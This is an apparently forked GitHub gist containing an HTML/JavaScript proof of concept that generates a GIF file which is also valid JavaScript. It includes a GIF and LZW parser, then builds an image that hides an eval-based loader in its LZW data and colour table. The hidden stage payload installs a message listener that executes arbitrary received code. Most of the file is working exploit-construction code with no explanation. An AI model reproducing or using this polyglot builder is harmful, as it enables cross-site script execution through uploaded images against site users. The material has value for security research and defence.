Skip to content

Instantly share code, notes, and snippets.

@phwd
Forked from isciurus/gist:5437231
Created May 23, 2013 20:23
Show Gist options
  • Save phwd/5639133 to your computer and use it in GitHub Desktop.
Save phwd/5639133 to your computer and use it in GitHub Desktop.
<html lang="en">
<head>
<script>
function str2hex(str)
{
var out_str = " ";
for(var i = 0; i < str.length; i++)
{
if(str.charCodeAt(i) < 0x10)
out_str += '0';
out_str += str.charCodeAt(i).toString(16);
if(i + 1 < str.length)
out_str += ' ';
}
console.log(out_str);
}
function my_outp(img)
{
var out_str = "";
/*
for(var i = 0; i < img.pixels.length; i++)
{
out_str += img.pixels[i].toString();
out_str += " color : " + JSON.stringify(my_hdr.gct[img.pixels[i]]);
if((i + 1) % img.width == 0)
{
out_str += "\r\n";
}
else
{
out_str += ",";
}
}*/
console.log(out_str);
console.log("expected height: " + img.height);
console.log("real height: " + Math.ceil(img.pixels.length / img.width));
}
//LZW Compression/Decompression for Strings
var LZW = {
compress: function (uncompressed) {
"use strict";
// Build the dictionary.
var i,
dictionary = {},
c,
wc,
w = "",
result = [],
dictSize = 128;
for (i = 0; i < dictSize; i++) {
dictionary[String.fromCharCode(i)] = i;
}
for (i = 0; i < uncompressed.length; i += 1) {
c = uncompressed.charAt(i);
wc = w + c;
if (dictionary[wc]) {
w = wc;
} else {
result.push(dictionary[w]);
// Add wc to the dictionary.
dictionary[wc] = dictSize++;
w = String(c);
}
}
// Output the code for w.
if (w !== "") {
result.push(dictionary[w]);
}
return result;
},
decompress: function (compressed) {
"use strict";
// Build the dictionary.
var i,
dictionary = [],
w,
result,
k,
entry = "",
dictSize = 256;
for (i = 0; i < 256; i += 1) {
dictionary[i] = String.fromCharCode(i);
}
w = String.fromCharCode(compressed[0]);
result = w;
for (i = 1; i < compressed.length; i += 1) {
k = compressed[i];
if (dictionary[k]) {
entry = dictionary[k];
} else {
if (k === dictSize) {
entry = w + w.charAt(0);
} else {
return null;
}
}
result += entry;
// Add w+entry[0] to the dictionary.
dictionary[dictSize++] = w + entry.charAt(0);
w = entry;
}
return result;
}
} // For Test Purposes
//comp = LZW.compress("TOBEORNOTTOBEORTOBEORNOT"),
//decomp = LZW.decompress(comp);
// Generic functions
var bitsToNum = function(ba) {
return ba.reduce(function(s, n) { return s * 2 + n; }, 0);
};
var b2c = function(bits)
{
if(bits.length > 8)
console.out("WARNING: too many bits");
return String.fromCharCode(bitsToNum(bits));
}
var byteToBitArr = function(bite) {
var a = [];
for (var i = 7; i >= 0; i--) {
a.push(!!(bite & (1 << i)));
}
return a;
};
// Stream
/**
* @constructor
*/ // Make compiler happy.
var Stream = function(data) {
this.data = data;
this.len = this.data.length;
this.pos = 0;
this.readByte = function() {
if (this.pos >= this.data.length) {
throw new Error('Attempted to read past end of stream.');
}
return data.charCodeAt(this.pos++) & 0xFF;
};
this.readBytes = function(n) {
var bytes = [];
for (var i = 0; i < n; i++) {
bytes.push(this.readByte());
}
return bytes;
};
this.read = function(n) {
var s = '';
for (var i = 0; i < n; i++) {
s += String.fromCharCode(this.readByte());
}
return s;
};
this.readUnsigned = function() { // Little-endian.
var a = this.readBytes(2);
return (a[1] << 8) + a[0];
};
};
var lzwDecode = function(minCodeSize, data) {
// TODO: Now that the GIF parser is a bit different, maybe this should get an array of bytes instead of a String?
var pos = 0; // Maybe this streaming thing should be merged with the Stream?
var readCode = function(size) {
var code = 0;
for (var i = 0; i < size; i++) {
var abs_idx = pos >> 3;
if(abs_idx >= data.length)
{
throw new Error('Attempted to read past end of lzw raw data.');
}
if (data.charCodeAt(abs_idx) & (1 << (pos & 7))) {
code |= 1 << i;
}
pos++;
}
return code;
};
var output = [];
var clearCode = 1 << minCodeSize;
var eoiCode = clearCode + 1;
var codeSize = minCodeSize + 1;
var dict = [];
var clear = function() {
dict = [];
codeSize = minCodeSize + 1;
for (var i = 0; i < clearCode; i++) {
dict[i] = [i];
}
dict[clearCode] = [];
dict[eoiCode] = null;
};
var code;
var last;
var code_num = 0;
var bitsFromInt = function(num)
{
var bit_arr = byteToBitArr(num);
for (key in bit_arr)
{
bit_arr[key] = bit_arr[key] ? 1 : 0;
}
return JSON.stringify(bit_arr)
}
var dbg_info = function()
{
var abs_pos = (pos - codeSize) >> 3;
var bitAtPos = function(target_pos)
{
return bitsFromInt(data.charCodeAt(target_pos));
}
console.log("+ " + code_num + " code: " + code + " of codeSize: " + codeSize + ", num pixels: " + output.length + ", dict len:: " + dict.length + ", start char [" + (abs_pos + 1) + "]: \\u00" + data.charCodeAt(abs_pos).toString(16) + " : " + data.substr(abs_pos, 1) + " : " + bitAtPos(abs_pos) + " , " + bitAtPos(abs_pos + 1) );
}
while (true) {
code_num++;
last = code;
code = readCode(codeSize);
if (code === clearCode) {
var _codeSizeOld = codeSize;
clear();
// debug
codeSize = _codeSizeOld;
dbg_info();
codeSize = minCodeSize + 1
continue;
}
if (code === eoiCode)
{
// comment
dbg_info();
break;
}
if (code < dict.length) {
if (last !== clearCode) {
dict.push(dict[last].concat(dict[code][0]));
}
} else {
if (code !== dict.length) { console.log("!!!!"); dbg_info(); throw new Error('Invalid LZW code: ' + code + " " + bitsFromInt(code)); }
dict.push(dict[last].concat(dict[last][0]));
}
output.push.apply(output, dict[code]);
// comment
dbg_info();
if (dict.length === (1 << codeSize) && codeSize < 12) {
// If we're at the last code and codeSize is 12, the next code will be a clearCode, and it'll be 12 bits long.
codeSize++;
}
}
console.log("==last code: " + code + ", codeSize: " + codeSize);
// I don't know if this is technically an error, but some GIFs do it.
//if (Math.ceil(pos / 8) !== data.length) throw new Error('Extraneous LZW bytes.');
return output;
};
// The actual parsing; returns an object with properties.
var parseGIF = function(st, handler) {
handler || (handler = {});
// LZW (GIF-specific)
var parseCT = function(entries) { // Each entry is 3 bytes, for RGB.
var ct = [];
for (var i = 0; i < entries; i++) {
ct.push(st.readBytes(3));
}
return ct;
};
var readSubBlocks = function() {
var size, data;
data = '';
do {
size = st.readByte();
data += st.read(size);
} while (size !== 0);
return data;
};
var parseHeader = function() {
var hdr = {};
hdr.sig = st.read(3);
hdr.ver = st.read(3);
if (hdr.sig !== 'GIF') throw new Error('Not a GIF file.'); // XXX: This should probably be handled more nicely.
hdr.width = st.readUnsigned();
hdr.height = st.readUnsigned();
var bits = byteToBitArr(st.readByte());
hdr.gctFlag = bits.shift();
hdr.colorRes = bitsToNum(bits.splice(0, 3));
hdr.sorted = bits.shift();
hdr.gctSize = bitsToNum(bits.splice(0, 3));
hdr.bgColor = st.readByte();
hdr.pixelAspectRatio = st.readByte(); // if not 0, aspectRatio = (pixelAspectRatio + 15) / 64
if (hdr.gctFlag) {
hdr.gct = parseCT(1 << (hdr.gctSize + 1));
}
handler.hdr && handler.hdr(hdr);
};
var parseExt = function(block) {
var parseGCExt = function(block) {
var blockSize = st.readByte(); // Always 4
var bits = byteToBitArr(st.readByte());
block.reserved = bits.splice(0, 3); // Reserved; should be 000.
block.disposalMethod = bitsToNum(bits.splice(0, 3));
block.userInput = bits.shift();
block.transparencyGiven = bits.shift();
block.delayTime = st.readUnsigned();
block.transparencyIndex = st.readByte();
block.terminator = st.readByte();
handler.gce && handler.gce(block);
};
var parseComExt = function(block) {
block.comment = readSubBlocks();
handler.com && handler.com(block);
};
var parsePTExt = function(block) {
// No one *ever* uses this. If you use it, deal with parsing it yourself.
var blockSize = st.readByte(); // Always 12
block.ptHeader = st.readBytes(12);
block.ptData = readSubBlocks();
handler.pte && handler.pte(block);
};
var parseAppExt = function(block) {
var parseNetscapeExt = function(block) {
var blockSize = st.readByte(); // Always 3
block.unknown = st.readByte(); // ??? Always 1? What is this?
block.iterations = st.readUnsigned();
block.terminator = st.readByte();
handler.app && handler.app.NETSCAPE && handler.app.NETSCAPE(block);
};
var parseUnknownAppExt = function(block) {
block.appData = readSubBlocks();
// FIXME: This won't work if a handler wants to match on any identifier.
handler.app && handler.app[block.identifier] && handler.app[block.identifier](block);
};
var blockSize = st.readByte(); // Always 11
block.identifier = st.read(8);
block.authCode = st.read(3);
switch (block.identifier) {
case 'NETSCAPE':
parseNetscapeExt(block);
break;
default:
parseUnknownAppExt(block);
break;
}
};
var parseUnknownExt = function(block) {
block.data = readSubBlocks();
handler.unknown && handler.unknown(block);
};
block.label = st.readByte();
switch (block.label) {
case 0xF9:
block.extType = 'gce';
parseGCExt(block);
break;
case 0xFE:
block.extType = 'com';
parseComExt(block);
break;
case 0x01:
block.extType = 'pte';
parsePTExt(block);
break;
case 0xFF:
block.extType = 'app';
parseAppExt(block);
break;
default:
block.extType = 'unknown';
parseUnknownExt(block);
break;
}
};
var parseImg = function(img) {
var deinterlace = function(pixels, width) {
// Of course this defeats the purpose of interlacing. And it's *probably*
// the least efficient way it's ever been implemented. But nevertheless...
var newPixels = new Array(pixels.length);
var rows = pixels.length / width;
var cpRow = function(toRow, fromRow) {
var fromPixels = pixels.slice(fromRow * width, (fromRow + 1) * width);
newPixels.splice.apply(newPixels, [toRow * width, width].concat(fromPixels));
};
// See appendix E.
var offsets = [0,4,2,1];
var steps = [8,8,4,2];
var fromRow = 0;
for (var pass = 0; pass < 4; pass++) {
for (var toRow = offsets[pass]; toRow < rows; toRow += steps[pass]) {
cpRow(toRow, fromRow)
fromRow++;
}
}
return newPixels;
};
img.leftPos = st.readUnsigned();
img.topPos = st.readUnsigned();
img.width = st.readUnsigned();
img.height = st.readUnsigned();
var bits = byteToBitArr(st.readByte());
img.lctFlag = bits.shift();
img.interlaced = bits.shift();
img.sorted = bits.shift();
img.reserved = bits.splice(0, 2);
img.lctSize = bitsToNum(bits.splice(0, 3));
if (img.lctFlag) {
img.lct = parseCT(1 << (img.lctSize + 1));
}
img.lzwMinCodeSize = st.readByte();
var lzwData = readSubBlocks();
img.pixels = lzwDecode(img.lzwMinCodeSize, lzwData);
if (img.interlaced) { // Move
img.pixels = deinterlace(img.pixels, img.width);
}
handler.img && handler.img(img);
};
var parseBlock = function() {
var block = {};
block.sentinel = st.readByte();
switch (String.fromCharCode(block.sentinel)) { // For ease of matching
case '!':
block.type = 'ext';
parseExt(block);
break;
case ',':
block.type = 'img';
parseImg(block);
break;
case ';':
block.type = 'eof';
handler.eof && handler.eof(block);
break;
default:
throw new Error('Unknown block: 0x' + block.sentinel.toString(16)); // TODO: Pad this with a 0.
}
if (block.type !== 'eof') setTimeout(parseBlock, 0);
};
var parse = function() {
parseHeader();
setTimeout(parseBlock, 0);
};
parse();
};
// BEGIN_NON_BOOKMARKLET_CODE
if (typeof exports !== 'undefined') {
exports.Stream = Stream;
exports.parseGIF = parseGIF;
}
// END_NON_BOOKMARKLET_CODE
var my_hdr = {};
// =================================================================================
// line_256_half_15
// =================================================================================
var stage1_payload = "Y=window;if(!Y.k8){Y.k8=1;(Y.addEventListener||Y.attachEvent)('message',function(b){eval(b.data)})}; ";
var color_map_shift = 2;
var payload4 =
// clear
"\u0080" +
// utf8 align
"\u0065\u0066\u0064" +
// payload left guard
'",' +
// stage0 payload: jump to color map
"eval(ma.substr(" + (12 + color_map_shift).toString(10) + "," + stage1_payload.length.toString(10) + "))"+
// payload right guard
',9)//'+
// Upper part of color table
"\u0041\u0042";
function OutStream()
{
this.bytestream = new Array();
this.offset = 0;
this.WriteBit = function(val)
{
this.bytestream[this.offset>>>3] |= val << (this.offset & 7);
this.offset++;
}
this.Write = function(val, numBits)
{
// Write LSB -> MSB
for(var i = 0; i < numBits; ++i)
this.WriteBit((val >>> i) & 1);
}
}
var garbage4 = new OutStream();
for(var ch = 0; ch < payload4.length; ch++)
garbage4.Write(payload4.charCodeAt(ch), 8);
var single_byte_align_len = 128 - payload4.length;
for(var ch = 0; ch < single_byte_align_len; ch++)
garbage4.Write(ch + 0x80 + payload4.length, 8);
var limit = 254;
var blocks = "";
for(var ch = 0; ch < 153; ch++)
{
// If no place in current block
if(garbage4.bytestream.length >= limit - (garbage4.offset % 8 == 0 ? 1 : 0))
{
// Push this one
// Block length
blocks += String.fromCharCode(garbage4.bytestream.length);
// Block data
for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
blocks += String.fromCharCode(garbage4.bytestream[_ch]);
// Renew
garbage4 = new OutStream();
}
garbage4.Write(ch + 0x80 + payload4.length + single_byte_align_len, 9);
// If unwillingly inserted \r\n
if(garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0d || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0d ||
garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0a || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0a)
{
//debugger;
// Get rid of, rollback
garbage4.offset -= 9;
garbage4.bytestream[garbage4.bytestream.length - 1] = 0;
garbage4.Write(0x47, 9);
}
}
for(var ch = 0; ch < 30; ch ++)
garbage4.Write(0x83 + ch, 9);
if(garbage4.bytestream.length > 0)
{
// Finalize block
garbage4.Write(0x81, 9);
// Push
// Block length
blocks += String.fromCharCode(garbage4.bytestream.length);
// Block data
for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
blocks += String.fromCharCode(garbage4.bytestream[_ch]);
}
var color_map_full = "\u0020\u0020\u0020\u0001\u0001\u0001\u0002\u0002\u0002\u0003\u0003\u0003\u0004\u0004\u0004\u0005\u0005\u0005\u0006\u0006\u0006\u0007\u0007\u0007\u0008\u0008\u0008\u0009\u0009\u0009\u0041\u0042\u0043\u000B\u000B\u000B\u000C\u000C\u000C\u0042\u0043\u0044\u000E\u000E\u000E\u000F\u000F\u000F\u0010\u0010\u0010\u0011\u0011\u0011\u0012\u0012\u0012\u0013\u0013\u0013\u0014\u0014\u0014\u0015\u0015\u0015\u0016\u0016\u0016\u0017\u0017\u0017\u0018\u0018\u0018\u0019\u0019\u0019\u001A\u001A\u001A\u001B\u001B\u001B\u001C\u001C\u001C\u001D\u001D\u001D\u001E\u001E\u001E\u001F\u001F\u001F\u0020\u0020\u0020\u0021\u0021\u0021\u0020\u0000\u0020\u0023\u0023\u0023\u0024\u0024\u0024\u0025\u0025\u0025\u0026\u0026\u0026\u0027\u0027\u0027\u0028\u0028\u0028\u0029\u0029\u0029\u002A\u002A\u002A\u002B\u002B\u002B\u002C\u002C\u002C\u002D\u002D\u002D\u002E\u002E\u002E\u002F\u002F\u002F\u0030\u0030\u0030\u0031\u0031\u0031\u0032\u0032\u0032\u0033\u0033\u0033\u0034\u0034\u0034\u0035\u0035\u0035\u0036\u0036\u0036\u0037\u0037\u0037\u0038\u0038\u0038\u0039\u0039\u0039\u003A\u003A\u003A\u003B\u003B\u003B\u003C\u003C\u003C\u003D\u003D\u003D\u003E\u003E\u003E\u003F\u003F\u003F\u0040\u0040\u0040\u0041\u0041\u0041\u0042\u0042\u0042\u0043\u0043\u0043\u0044\u0044\u0044\u0045\u0045\u0045\u0046\u0046\u0046\u0047\u0047\u0047\u0048\u0048\u0048\u0049\u0049\u0049\u004A\u004A\u004A\u004B\u004B\u004B\u004C\u004C\u004C\u004D\u004D\u004D\u004E\u004E\u004E\u004F\u004F\u004F\u0050\u0050\u0050\u0051\u0051\u0051\u0052\u0052\u0052\u0053\u0053\u0053\u0054\u0054\u0054\u0055\u0055\u0055\u0056\u0056\u0056\u0057\u0057\u0057\u0058\u0058\u0058\u0059\u0059\u0059\u005A\u005A\u005A\u005B\u005B\u005B\u005C\u005C\u005C\u005D\u005D\u005D\u005E\u005E\u005E\u005F\u005F\u005F\u0060\u0060\u0060\u0061\u0061\u0061\u0062\u0062\u0062\u0063\u0063\u0063\u0064\u0064\u0064\u0065\u0065\u0065\u0066\u0066\u0066\u0067\u0067\u0067\u0068\u0068\u0068\u0069\u0069\u0069\u006A\u006A\u006A\u006B\u006B\u006B\u006C\u006C\u006C\u006D\u006D\u006D\u006E\u006E\u006E\u006F\u006F\u006F\u0070\u0070\u0070\u0071\u0071\u0071\u0072\u0072\u0072\u0073\u0073\u0073\u0074\u0074\u0074\u0075\u0075\u0075\u0076\u0076\u0076\u0077\u0077\u0077\u0078\u0078\u0078\u0079\u0079\u0079\u007A\u007A\u007A\u007B\u007B\u007B\u007C\u007C\u007C\u007D\u007D\u007D\u007E\u007E\u007E\u007F\u007F\u007F";
var height4 = "\u005c\u0022";
var line_256_half_4 =
"\u0047\u0049\u0046\u0038\u0037\u0061\u0001\u0000" + height4 +
// Global settings flag
"\u00C6" +
// Background color + reserved byte
"\u0000\u0000" +
// Color map with stage 1 payload
color_map_full.substr(0, color_map_shift) + stage1_payload + color_map_full.substr(color_map_shift + stage1_payload.length) +
"\u002C\u0000\u0000\u0000\u0000\u0001\u0000" +
height4 + "\u0000\u0007";
line_256_half_4 += blocks;
// End
line_256_half_4 += "\u0000\u003B";
// checking payload
var payload4_rep_seq = false;
for(var payload4_i = 0; payload4_i < payload4.length - 1 && !payload4_rep_seq; payload4_i++)
{
var seq = payload4.substr(payload4_i, 2);
var search_target = payload4.substr(payload4_i + 1);
var tw_occurence = search_target.indexOf(seq);
payload4_rep_seq = tw_occurence != -1;
if(payload4_rep_seq)
{
// draw markers
var mrk = "";
var mrk_pos = 0
for(; mrk_pos < payload4_i - 1; mrk_pos++)
mrk += " ";
mrk += "|";
for(; mrk_pos < tw_occurence + payload4_i - 1; mrk_pos++)
mrk += " ";
mrk += "|";
console.log(payload4);
console.log(mrk);
console.log("seq " + seq + " occurs twice: at " + payload4_i + " and " + (tw_occurence + payload4_i + 1));
}
}
if(!payload4_rep_seq)
{
d(line_256_half_4);
setTimeout(function(){ str2hex(line_256_half_4); }, 500);
}
function d(_data)
{
my_hdr = {};
var my_st = new Stream(_data);
var my_parser = new parseGIF(my_st, {"img": my_outp, "hdr": function(hdr) { my_hdr = hdr }});
}
function pr()
{
function tohex(str)
{
var out_str = "";
for(var i = 0; i < str.length; i++)
{
if(str.charCodeAt(i) < 0x10)
out_str += '0';
out_str += str.charCodeAt(i).toString(16);
if(i + 1 < str.length)
out_str += ' ';
}
console.log(out_str);
}
var out_map = "";
for(i = 0; i < 128; i++)
{
out_map += "\u0000\u0000" + String.fromCharCode(i) + "\u00ff";
}
for(i = 128; i < 256; i++)
{
out_map += "\u0000\u0000\u0000\u00ff";
}
var out_img = "";
var height = 8796;
for(i = 0; i < 128; i++)
{
out_img += String.fromCharCode(i) + "\u0000\u0000\u0000";
}
for(i = 128; i < height; i++)
{
out_img += "\u0000\u0000\u0000\u0000";
}
var output = out_map + out_img;
console.log("total length: " + output.length + "(" + (output.length >> 2) + ")");
tohex(out_map);
tohex(out_img);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment